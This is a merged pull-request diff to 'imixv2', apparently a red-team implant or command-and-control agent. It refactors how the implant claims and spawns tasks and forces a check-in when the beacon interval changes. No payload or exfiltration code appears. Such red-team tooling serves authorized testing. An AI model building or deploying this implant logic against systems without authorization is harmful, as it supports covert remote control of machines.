Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 21 additions & 3 deletions implants/imixv2/src/agent.rs
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,20 @@ impl<T: Transport + Sync + 'static> ImixAgent<T> {
Ok(response.tasks)
}

pub async fn process_job_request(&self) -> Result<()> {
let tasks = self.claim_tasks().await?;
if tasks.is_empty() {
return Ok(());
}

let registry = self.task_registry.clone();
let agent = Arc::new(self.clone());
for task in tasks {
registry.spawn(task, agent.clone());
}
Ok(())
}

// Helper to run a future on the runtime handle, blocking the current thread.
fn block_on<F, R>(&self, future: F) -> Result<R, String>
where
Expand Down Expand Up @@ -354,10 +368,14 @@ impl<T: Transport + Send + Sync + 'static> Agent for ImixAgent<T> {

fn set_callback_interval(&self, interval: u64) -> Result<(), String> {
self.block_on(async {
let mut cfg = self.config.write().await;
if let Some(info) = &mut cfg.info {
info.interval = interval;
{
let mut cfg = self.config.write().await;
if let Some(info) = &mut cfg.info {
info.interval = interval;
}
}
// We force a check-in to update the server with the new interval
let _ = self.process_job_request().await;
Ok(())
})
}
Expand Down
19 changes: 5 additions & 14 deletions implants/imixv2/src/run.rs
Original file line number Diff line number Diff line change
Expand Up @@ -113,20 +113,11 @@ async fn run_agent_cycle(agent: Arc<ImixAgent<ActiveTransport>>, registry: Arc<T
agent.update_transport(ActiveTransport::init()).await;
}

async fn process_tasks(agent: &ImixAgent<ActiveTransport>, registry: &TaskRegistry) {
match agent.claim_tasks().await {
Ok(tasks) => {
if tasks.is_empty() {
#[cfg(debug_assertions)]
log::info!("Callback success, no tasks to claim");
return;
}
for task in tasks {
#[cfg(debug_assertions)]
log::info!("Claimed task: {}", task.id);

registry.spawn(task, Arc::new(agent.clone()));
}
async fn process_tasks(agent: &ImixAgent<ActiveTransport>, _registry: &TaskRegistry) {
match agent.process_job_request().await {
Ok(_) => {
#[cfg(debug_assertions)]
log::info!("Callback success");
}
Err(_e) => {
#[cfg(debug_assertions)]
Expand Down
Loading